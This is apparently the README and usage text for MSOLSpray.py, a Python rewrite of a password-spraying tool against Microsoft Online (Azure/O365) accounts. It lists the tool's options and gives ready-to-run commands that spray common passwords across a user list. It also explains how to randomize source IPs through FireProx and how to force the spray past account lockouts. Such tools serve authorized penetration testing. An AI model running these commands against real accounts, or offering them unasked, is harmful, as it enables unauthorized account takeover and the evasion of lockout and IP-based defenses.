pip3 install requests

usage: MSOLSpray.py [-h] -u FILE -p PASSWORD [-o OUTFILE] [-f] [--url URL]

This is a pure Python rewrite of dafthack's MSOLSpray (https://github.com/dafthack/MSOLSpray/) which is written in PowerShell. All credit goes to him!

This script will perform password spraying against Microsoft Online accounts (Azure/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled.

optional arguments:
  -h, --help            show this help message and exit
  -u FILE, --userlist FILE
                        File filled with usernames one-per-line in the format
                        '[email protected]'. (Required)
  -p PASSWORD, --password PASSWORD
                        A single password that will be used to perform the
                        password spray. (Required)
  -o OUTFILE, --out OUTFILE
                        A file to output valid results to.
  -f, --force           Forces the spray to continue and not stop when
                        multiple account lockouts are detected.
  --url URL             The URL to spray against (default is
                        https://login.microsoft.com). Potentially useful if
                        pointing at an API Gateway URL generated with
                        something like FireProx to randomize the IP address
                        you are authenticating from.

EXAMPLE USAGE:
This command will use the provided userlist and attempt to authenticate to each account with a password of Winter2020.
    python3 MSOLSpray.py --userlist ./userlist.txt --password Winter2020

This command uses the specified FireProx URL to spray from randomized IP addresses and writes the output to a file. See this for FireProx setup: https://github.com/ustayready/fireprox.
    python3 MSOLSpray.py --userlist ./userlist.txt --password P@ssword --url https://api-gateway-endpoint-id.execute-api.us-east-1.amazonaws.com/fireprox --out valid-users.txt